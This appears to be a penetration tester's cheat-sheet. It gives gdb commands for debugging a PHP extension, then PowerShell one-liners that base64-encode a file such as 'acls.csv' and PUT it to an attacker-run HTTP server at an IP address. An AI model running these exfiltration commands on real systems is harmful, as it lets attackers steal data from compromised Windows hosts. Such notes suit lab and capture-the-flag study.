>LC_ALL=en_US.UTF-8 gdb -q [elf] >gdb -q [linux exec] >break main >break *0x565564e3 >attach [pid] >sudo gdb -q --args php -a Debug with php interactive shell >r (r means run) Starting program: /usr/bin/php -a [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". Interactive shell php > dl('lverifier'); Debug the php extension so file Crtl-c can pass the control back to gdb (gdb).... Set the break point at function or at the specific address. Use attach to debug the existing...

Upload file via PowerShell >wget https://raw.githubusercontent.com/w0lfram1te/extended-http-server/main/ehttpserver.py python3 ehttpserver.py Python simple http server doesn't support PUT request. We need to use the other one >powershell -c "invoke-webrequest -method PUT -usebasicparsing -uri http://[IP]:[Port]/[FILE] -body (get-content [FILE_Upload])" StatusCode : 201 StatusDescription : Created Content : {} ... Use invoke-webrequest PUT to upload the file to the python server >powershell -c "$Base64String = [System.convert]::ToBase64String((Get-Content -Path 'acls.csv' -Encoding Byte)); invoke-webrequest -method PUT -usebasicparsing -uri http://10.10.16.6:8000/base64.txt -body $Base64String" One liner version with the base64 encoding PowerShell...